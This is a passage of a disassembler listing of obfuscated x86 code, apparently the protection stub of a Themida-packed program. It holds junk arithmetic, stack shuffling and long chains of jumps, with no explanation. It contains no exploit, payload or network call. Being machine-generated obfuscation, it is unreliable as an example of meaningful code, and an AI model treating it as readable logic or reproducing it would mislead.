mov [esp], ebx
mov bh, 67h
jmp loc_56805A
; ---------------------------------------------------------------------------
loc_569A98: ; CODE XREF: Themida_:0056A618j
push ecx
push esi
mov esi, 26E288Dh
push edx
mov edx, 55826F66h
xor edx, 4CA53559h
add edx, 34063C48h
jmp loc_5636AF
; ---------------------------------------------------------------------------
lodsb
push ebx
mov bh, 80h
not bh
shr bh, 3
not bh
add bh, 0C5h
push ax
mov ah, 3Bh
xor bh, ah
jmp loc_567D8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569ACF: ; CODE XREF: sub_56755A-BBFAj
xor edi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
jmp loc_55FF8D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569ADB: ; CODE XREF: Themida_:0056664Dj
add eax, 2
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 7D53h
mov [esp], ebx
mov ebx, 1DCD7652h
jmp loc_569488
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_569B09: ; CODE XREF: sub_56667A+2CDBj
sub ebx, 50630F58h
mov edx, [esp+0]
jmp loc_55F7DE
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569B17: ; CODE XREF: sub_56755A-BD01j
mov edx, 1
or [edi+1Ch], edx
jmp loc_55D229
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569B24: ; CODE XREF: Themida_:00564084j
push eax
mov eax, 47881904h
mov ebp, 0FE146337h
jmp loc_55D4AE
; ---------------------------------------------------------------------------
loc_569B34: ; CODE XREF: Themida_:0056C4D3j
pop edx
inc esi
jmp loc_56D089
; ---------------------------------------------------------------------------
loc_569B3B: ; CODE XREF: Themida_:0056DCDEj
pop ebx
add ebx, 4
add ebx, 4
jmp loc_563D40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569B4D: ; CODE XREF: sub_56755A-BC8Ej
dec edi
jmp loc_56E024
; ---------------------------------------------------------------------------
loc_569B53: ; CODE XREF: sub_56755A-5B37j
or ecx, 6DBB3926h
xor ecx, 65CD56E0h
xor ecx, 520713F2h
mov ebx, ecx
pop ecx
jmp sub_5607D3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569B6D: ; CODE XREF: Themida_:00564792j
add ebp, 54AC08B0h
add ebp, eax
jmp loc_55C407
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569B7A: ; CODE XREF: sub_56755A-2234j
add esp, 4
jmp loc_56F149
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_569B85: ; CODE XREF: sub_56CD48-6319j
mov ebp, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
push ebx
jmp loc_5638EA
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569B9E: ; CODE XREF: sub_56755A+844j
add esp, 4
sub al, bl
push 7CD8h
mov [esp+0], edx
mov dl, 37h
push eax
jmp loc_56731E
; ---------------------------------------------------------------------------
loc_569BB6: ; CODE XREF: sub_56755A+787j
shl ecx, 6
jmp loc_55E130
; ---------------------------------------------------------------------------
loc_569BBE: ; CODE XREF: sub_56755A+B4j
push 2
jmp loc_55F01F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569BC8: ; CODE XREF: Themida_:00568F1Cj
pop eax
jmp loc_56B61D
; ---------------------------------------------------------------------------
loc_569BCE: ; CODE XREF: Themida_:00563D3Bj
push esi
mov esi, 263F0483h
push ebx
mov ebx, 1F37508h
add esi, ebx
pop ebx
push 2DC9h
mov [esp], ecx
mov ecx, 7817708Ah
xor esi, ecx
pop ecx
shr esi, 4
add esi, 0FAFDAF74h
jmp loc_56120E
; ---------------------------------------------------------------------------
loc_569BFB: ; CODE XREF: Themida_:005669BBj
sub eax, 0AE36BA0Ch
mov edi, eax
pop eax
sub edi, 1
xchg esi, edi
not esi
xchg esi, edi
add edi, 402A2250h
jmp loc_56455B
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_56061C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_569C24: ; CODE XREF: sub_5643BC+600Fj
mov ebp, [esp+0]
add esp, 4
jmp loc_568D99
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
loc_569C32: ; CODE XREF: Themida_:0056A783j
add al, 0F2h
sub al, cl
push 6A6Bh
mov [esp], edx
mov dh, 0F2h
sub al, dh
mov edx, [esp]
add esp, 4
jmp loc_569A88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1C0
loc_569C4D: ; CODE XREF: sub_56E1C0-15A4j
shl dl, 8
sub dl, 72h
push ebx
jmp loc_5695F3
; END OF FUNCTION CHUNK FOR sub_56E1C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_569C59: ; CODE XREF: sub_56CEE9+2835j
push edi
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_563EDE
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
loc_569C6A: ; CODE XREF: Themida_:0055E78Fj
push ebx
mov ebx, 46E52456h
sub ebx, 5416CA1h
add ebx, 45976544h
shl ebx, 7
sub ebx, 0D46AB8F0h
add eax, ebx
jmp loc_56C2FE
; ---------------------------------------------------------------------------
loc_569C8C: ; CODE XREF: Themida_:005645E9j
pop ebp
mov edx, 4C866B8h
xor edx, ebp
jmp loc_560A57
; ---------------------------------------------------------------------------
loc_569C99: ; CODE XREF: Themida_:00563276j
shr ecx, 5
push esi
mov esi, 4F0E9F96h
xor ecx, esi
pop esi
push ecx
xor dword ptr [esp], 49B438Dh
pop ebx
xor ebx, 49B438Dh
pop ecx
or ebx, 49685B0Ch
inc ebx
neg ebx
jmp loc_565D3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569CC3: ; CODE XREF: sub_56755A+4E0j
sub al, ch
jmp loc_56F912
; ---------------------------------------------------------------------------
loc_569CCA: ; CODE XREF: sub_56755A+BCCj
push ebp
mov ebp, 4D231B44h
mov edx, ebp
pop ebp
mov edi, 4D674CB8h
xor edi, edx
pop edx
xor edi, 7E56618Fh
or ecx, edi
pop edi
jmp loc_56443C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569CE9: ; CODE XREF: Themida_:00564A78j
sub esp, 4
mov [esp], eax
push esp
jmp loc_56A27E
; ---------------------------------------------------------------------------
loc_569CF8: ; CODE XREF: Themida_:0055FD2Ej
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569D04: ; CODE XREF: sub_56755A+CE4j
not esi
jmp sub_565C4A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569D0B: ; CODE XREF: Themida_:0056E8E1j
add esp, 4
push edx
jmp loc_56AB41
; ---------------------------------------------------------------------------
loc_569D14: ; CODE XREF: Themida_:005697B6j
mov ebx, 0FFFFFFFFh
sub ebp, ebx
pop ebx
sub ebp, 0E0F2A169h
sub edi, 2E9946EEh
add edi, ebp
add edi, 2E9946EEh
push dword ptr [esp]
pop ebp
add esp, 4
xchg edi, [esp]
pop esp
dec word ptr [esp]
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_569D45: ; CODE XREF: sub_561ED8+3880j
xor al, bh
mov ebx, [esp+0]
add esp, 4
push edx
mov dh, 43h
dec dh
jmp loc_56EC82
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569D5A: ; CODE XREF: sub_56755A-BBDFj
sub ecx, esi
mov esi, [esp+8+var_8]
add esp, 4
push 6665h
mov [esp+8+var_8], ecx
push [esp+8+var_4]
pop ecx
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_56EFB1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569D7D: ; CODE XREF: Themida_:005636EAj
add edx, 4
xchg edx, [esp]
pop esp
push 41D1h
mov [esp], ebp
push esi
jmp loc_5690B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569D92: ; CODE XREF: sub_56755A+3497j
push eax
mov eax, edi
jmp loc_56E252
; ---------------------------------------------------------------------------
loc_569D9A: ; CODE XREF: sub_56755A+9F9j
mov ebx, ebp
pop ebp
jmp loc_55D0E4
; ---------------------------------------------------------------------------
loc_569DA2: ; CODE XREF: sub_56755A-3E87j
add ebx, 0A31A2EE4h
push ebx
pop esi
mov ebx, [esp+6+var_8+2]
add esp, 4
or edi, esi
pop esi
sub edi, 428A08E1h
xor edi, 80A96A87h
jmp loc_56F15B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569DC4: ; CODE XREF: Themida_:0056E73Dj
add esp, 4
jmp loc_5655E5
; ---------------------------------------------------------------------------
loc_569DCC: ; CODE XREF: Themida_:0056FDE0j
sub edi, 3921B64h
shr edi, 2
add edi, 47E53CB8h
jmp loc_56BDCD
; ---------------------------------------------------------------------------
lodsd
sub eax, 6EE330E9h
sub esp, 4
mov [esp], ecx
mov ecx, 10D430D5h
add eax, 2B4249E9h
add eax, ecx
jmp loc_560AB8
; ---------------------------------------------------------------------------
loc_569DFD: ; CODE XREF: Themida_:0056414Dj
xchg eax, [esp]
jmp loc_5665F6
; ---------------------------------------------------------------------------
loc_569E05: ; CODE XREF: Themida_:0056FE90j
add ecx, edx
mov edx, [esp]
add esp, 4
push 32DAh
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_564A17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_569E21: ; CODE XREF: sub_56D164-63EDj
add ebx, 665D265Ch
add ebx, 9AA309B2h
sub esi, ebx
pop ebx
xchg esi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 7D35058Dh
inc ebp
jmp loc_56155F
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_569E48: ; CODE XREF: Themida_:0056D0DEj
sub esp, 4
mov [esp], ecx
jmp loc_56E8D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569E56: ; CODE XREF: sub_56755A+A96j
mov bh, ch
pop ecx
push edx
mov dl, bh
mov al, dl
pop edx
jmp loc_55BDB4
; ---------------------------------------------------------------------------
loc_569E64: ; CODE XREF: sub_56755A+620Fj
pop ecx
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_569E65 proc near ; CODE XREF: sub_56755A+24ADj
; sub_56755A+5B5Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B9F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005614DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564089 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564D83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568ADF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005701C0 SIZE 00000018 BYTES
push ebx
jmp loc_5701C0
sub_569E65 endp
; ---------------------------------------------------------------------------
loc_569E6B: ; CODE XREF: Themida_:00569FC9j
add esp, 4
push edi
push esp
pop edi
jmp loc_567DBE
; ---------------------------------------------------------------------------
loc_569E76: ; CODE XREF: Themida_:00560BE4j
push dword ptr [esp]
jmp loc_5683BB
; ---------------------------------------------------------------------------
loc_569E7E: ; CODE XREF: Themida_:005669A7j
pop edx
push edi
mov edi, 1EA36374h
sub ecx, edi
pop edi
and ecx, 3F33242Fh
push edx
mov edx, 0F8FFDFE2h
add ecx, edx
pop edx
mov ebp, ecx
jmp loc_56B8B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_569E9E: ; CODE XREF: sub_56D5AE+179Cj
pop ebx
add ebp, 4
jmp loc_568DCD
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569EA7: ; CODE XREF: sub_56755A+3B98j
pop eax
jmp loc_567223
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569EAD: ; CODE XREF: Themida_:00568BA0j
push 1CFBh
mov [esp], edx
push ecx
mov cl, 79h
mov dh, 27h
jmp loc_56164B
; ---------------------------------------------------------------------------
loc_569EBF: ; CODE XREF: Themida_:0056CE8Bj
sub ecx, 60BD2BC1h
add ecx, ebp
jmp loc_5601D6
; ---------------------------------------------------------------------------
loc_569ECC: ; CODE XREF: Themida_:00561B8Ej
push edx
sub esp, 4
mov [esp], edi
jmp loc_567F74
; ---------------------------------------------------------------------------
loc_569ED8: ; CODE XREF: Themida_:00568FB8j
add esp, 4
jmp loc_56C324
; ---------------------------------------------------------------------------
loc_569EE0: ; CODE XREF: Themida_:0055F4D8j
add ecx, ebx
add ecx, 1DA11D46h
push dword ptr [esp]
pop ebx
add esp, 4
push eax
mov eax, 549004B0h
add ecx, 0F204463h
add ecx, eax
jmp loc_562866
; ---------------------------------------------------------------------------
loc_569F02: ; CODE XREF: Themida_:0056522Fj
push ebp
mov ebp, 8B412C61h
add edi, ebp
pop ebp
add ebx, edi
pop edi
jmp loc_55F716
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_569F13: ; CODE XREF: sub_56CEC8-DF19j
push eax
push edx
jmp loc_56ECD2
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
loc_569F1A: ; CODE XREF: Themida_:00568E17j
shl ecx, 1
not ecx
jmp loc_567C18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569F23: ; CODE XREF: sub_56755A+37Aj
pop eax
push ebx
jmp loc_561773
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569F2A: ; CODE XREF: Themida_:005615A4j
push ecx
push 5FB4h
mov [esp], ebx
mov bl, dl
mov dl, [esp+4]
mov [esp+4], bl
pop ebx
not dl
xor [esp], dl
jmp loc_55CFCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569F48: ; CODE XREF: sub_56755A+2420j
push [esp+6+var_8+2]
pop edx
jmp loc_570258
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push 0
mov ebx, [esp]
jmp loc_55DCC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_569F5E: ; CODE XREF: sub_565269-2635j
pop esp
and eax, esi
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_56BFA7
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
loc_569F6C: ; CODE XREF: Themida_:0056E353j
pop eax
xchg ebx, [esp]
jmp loc_55E08E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569F75: ; CODE XREF: sub_56755A+6250j
pop ecx
push edx
push eax
mov ah, 65h
mov dh, ah
pop eax
sub esp, 4
mov [esp+0Ah+var_C+2], ebx
mov bh, 5Ah
jmp loc_568714
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_569F8A: ; CODE XREF: sub_56F653-10A32j
pop ebp
push 67CEh
jmp loc_567138
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_569F95: ; CODE XREF: Themida_:0055CEB2j
sub ecx, 7C48D3B6h
add ebp, ecx
pop ecx
push edi
mov edi, 4
add ebp, edi
mov edi, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov ecx, [esp]
jmp loc_56AF92
; ---------------------------------------------------------------------------
loc_569FC3: ; CODE XREF: Themida_:0056D330j
push dword ptr [esp]
mov ebp, [esp]
jmp loc_569E6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569FCE: ; CODE XREF: sub_56755A+7443j
add esp, 4
jmp loc_56EBBC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569FD6: ; CODE XREF: Themida_:00565E33j
mov esi, 4
add ebp, esi
mov esi, [esp]
jmp loc_566BAE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569FE5: ; CODE XREF: sub_56755A-BA83j
xor bx, si
push [esp+0Ch+var_C]
mov esi, [esp+10h+var_10]
add esp, 4
add esp, 4
xor ax, bx
push [esp+8+var_8]
pop ebx
add esp, 4
push small 669Bh
mov word ptr [esp+6+var_8+2], di
push 7A55h
mov [esp+0Ah+var_C+2], ecx
mov cx, 0A8Ah
jmp loc_567EA3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A01D: ; CODE XREF: Themida_:0056D091j
pop esi
jmp loc_562FE9
; ---------------------------------------------------------------------------
loc_56A023: ; CODE XREF: Themida_:005671A6j
mov ebx, edx
pop edx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
push edx
jmp loc_5601A9
; ---------------------------------------------------------------------------
loc_56A037: ; CODE XREF: Themida_:0056E4D5j
pop esp
or [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56A042: ; CODE XREF: Themida_:00562506j
sub eax, ebx
jmp loc_5626B7
; ---------------------------------------------------------------------------
loc_56A049: ; CODE XREF: Themida_:0055D98Ej
push eax
jmp loc_56114B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE26
loc_56A04F: ; CODE XREF: sub_56EE26-8855j
mov edx, 6D6E0577h
inc edx
xor edx, 6D6E057Ch
add ebp, edx
pop edx
push esi
jmp loc_56C763
; END OF FUNCTION CHUNK FOR sub_56EE26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A41
loc_56A064: ; CODE XREF: sub_563A41-5557j
add esp, 4
jmp loc_568155
; END OF FUNCTION CHUNK FOR sub_563A41
; ---------------------------------------------------------------------------
loc_56A06C: ; CODE XREF: Themida_:005705E4j
add esp, 4
push edx
push 2
jmp loc_56F449
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A07A: ; CODE XREF: sub_56755A-5C6j
mov edx, 5A2A4237h
add [esp+10h+var_8], edx
pop edx
sub [esp+0Ch+var_8], eax
jmp loc_56B3F6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_56A08D: ; CODE XREF: sub_56026A-16D3j
add ebp, 190C256Dh
pop edx
jmp loc_564B18
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
loc_56A099: ; CODE XREF: Themida_:0056564Fj
add esp, 4
add ebx, eax
push edx
jmp loc_56232D
; ---------------------------------------------------------------------------
loc_56A0A4: ; CODE XREF: Themida_:0056E30Aj
mov [esp], eax
push ebp
jmp loc_56317D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_56A0AD: ; CODE XREF: sub_560CAA+34D1j
push edi
push 0F7537A7h
pop edi
add edi, 56FB09FEh
jmp loc_560A0D
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56A0BF: ; CODE XREF: sub_55CD7B+43AFj
add edx, ebp
push ecx
jmp loc_55F4A7
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_56A0C7: ; CODE XREF: Themida_:0055B8E6j
pop esi
add edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56A0D5: ; CODE XREF: Themida_:005607B5j
sub edx, 66F3430Dh
add ecx, edx
pop edx
push esi
mov esi, 48974682h
or esi, 10296987h
sub esi, 58BF6F83h
sub ecx, 56906A26h
sub ecx, esi
add ecx, 56906A26h
pop esi
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 4
add ebp, edx
push dword ptr [esp]
pop edx
push 76ACh
jmp loc_565063
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_56A11D: ; CODE XREF: sub_56A500+12C0j
pop esi
xchg edi, [esp+4+var_4]
pop esp
loc_56A122: ; CODE XREF: sub_56755A+8D5Dj
push 0B97h
mov [esp+4+var_4], edi
push 48C2h
push esp
jmp loc_55CBDE
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A135: ; CODE XREF: sub_56755A-15D8j
xchg edx, [esp+34h+var_34]
mov esp, [esp+34h+var_34]
mov [esp+34h+var_34], ebp
jmp loc_5602B2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A143: ; CODE XREF: Themida_:0056BD0Bj
sub dword ptr [esp+8], 5B013340h
jmp loc_566B54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56A150: ; CODE XREF: sub_55CD7B+35D7j
xor esi, 6EAC30F7h
xor esi, 129C56E6h
jmp loc_561746
; END OF FUNCTION CHUNK FOR sub_55CD7B
; =============== S U B R O U T I N E =======================================
sub_56A161 proc near ; CODE XREF: sub_56755A-1B02j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], eax
push esp
pop eax
jmp sub_56971C
sub_56A161 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F185
loc_56A171: ; CODE XREF: sub_55F185+FFA7j
push esi
not [esp+8+var_8]
pop esi
add esi, 0FFFFFFFFh
not esi
jmp loc_56C04D
; END OF FUNCTION CHUNK FOR sub_55F185
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A180: ; CODE XREF: sub_56755A+5FC2j
add esp, 4
jmp sub_566DC6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_56A188: ; CODE XREF: sub_566FBB+844Ej
sub ebp, 0FFFFFFFFh
jmp sub_5664A8
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A193: ; CODE XREF: sub_56755A+C5Cj
pop eax
pop [esp-18h+arg_14]
pop esp
add dl, ah
pop ax
push ecx
push 567Ah
mov [esp-1Ah+arg_14+2], ebx
push ecx
mov ch, 0D4h
sub ch, 7Fh
jmp loc_5698DD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A1B0: ; CODE XREF: Themida_:00560E7Fj
not ecx
jmp loc_56847F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A1B7: ; CODE XREF: sub_56755A-4407j
not [esp+12h+var_14+2]
pop edx
jmp loc_567A04
; ---------------------------------------------------------------------------
loc_56A1C0: ; CODE XREF: sub_56755A+6AF7j
push [esp+0Eh+var_10+2]
jmp loc_56125A
; ---------------------------------------------------------------------------
loc_56A1C8: ; CODE XREF: sub_56755A-4ABFj
mov esp, [esp-4+arg_0]
jmp loc_567443
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A1D0: ; CODE XREF: Themida_:00565AF5j
push edx
push 4BD38A3h
pop edx
xor edx, 2D7D1785h
mov edi, edx
pop edx
and edi, 5317BF8h
jmp loc_5682F5
; ---------------------------------------------------------------------------
loc_56A1EB: ; CODE XREF: Themida_:0055BB21j
mov eax, esp
add eax, 4
push ebx
push ebp
mov ebp, 35706207h
mov ebx, 35706203h
jmp loc_55F62B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A203: ; CODE XREF: sub_56755A+33Dj
add [esp-0Ch+arg_8], 4
pop eax
add eax, 4
jmp loc_566CBD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_56A212: ; CODE XREF: sub_56E75E+83Cj
pop esp
jmp loc_5678E4
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
loc_56A218: ; CODE XREF: Themida_:0056DC9Fj
and ebx, 51683C37h
shr ebx, 4
add ebx, 0D0827D4h
inc ebx
jmp loc_55C988
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A22D: ; CODE XREF: sub_56755A+182Ej
sub [esp-10h+arg_C], 2E9B39CEh
pop eax
add eax, 2E9B39CEh
pop edx
sub eax, 7B712FAAh
push eax
pop edi
push [esp-18h+arg_14]
jmp loc_56D1D2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A24A: ; CODE XREF: Themida_:00562140j
mov ebx, 37B26CFAh
push esi
mov esi, 0C84D9308h
add ebx, esi
jmp loc_56FE8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56A25C: ; CODE XREF: sub_566504-472j
add esi, 4
xchg esi, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
sub esp, 4
mov [esp-8+arg_4], esi
push edi
mov edi, 32909F3h
mov esi, edi
jmp loc_56EEFE
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_56A27E: ; CODE XREF: Themida_:00569CF3j
push dword ptr [esp]
pop eax
jmp loc_56C228
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A287: ; CODE XREF: sub_56755A-38E8j
mov esi, 4DE76BFAh
dec esi
dec esi
not esi
jmp loc_5680F3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_56A295: ; CODE XREF: sub_55DA88+12C1Aj
xor ebp, 4B6E8DCEh
sub ebx, ebp
pop ebp
sub eax, ebx
jmp loc_570717
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_56A2A5: ; CODE XREF: sub_55FE13+4714j
neg dl
add dl, 8Fh
mov al, dl
pop edx
push edx
mov dl, 41h
push ecx
jmp loc_563C4E
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
loc_56A2B6: ; CODE XREF: Themida_:005698ECj
mov ecx, edi
pop edi
mov ebp, [esp]
jmp loc_55EFC2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560DA7
loc_56A2C1: ; CODE XREF: sub_560DA7+ED82j
add edi, eax
sub edi, 277418AEh
pop eax
add edi, 4
xchg edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
add edi, 36037920h
jmp loc_56772D
; END OF FUNCTION CHUNK FOR sub_560DA7
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_55F049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A2E9: ; CODE XREF: sub_56755A+C32j
mov [esp+16h+var_18+2], ebp
mov ebp, 4
jmp loc_564EA0
; ---------------------------------------------------------------------------
loc_56A2F6: ; CODE XREF: sub_56755A+3FC9j
pop eax
mov ecx, [esp+12h+var_14+2]
jmp loc_55FE4C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
jmp loc_55FE0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A30C: ; CODE XREF: sub_56755A+A8Dj
sub ebx, 6E284403h
mov ebp, [esp-18h+arg_14]
jmp loc_5631E2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A31A: ; CODE XREF: Themida_:00566173j
mov edi, esp
jmp loc_56C2C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56A321: ; CODE XREF: sub_56CB7D-93AFj
add esp, 4
xor [esp+10h+var_10], edx
jmp loc_5675EF
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A32F: ; CODE XREF: sub_56755A-637Aj
mov ax, word ptr [esp+2Eh+var_30+2]
push esi
mov esi, esp
add esi, 4
jmp loc_56117B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A341: ; CODE XREF: Themida_:0056C2E3j
add ebx, 2CED07E7h
sub esp, 4
jmp loc_564819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56A352: ; CODE XREF: sub_566504+DAFj
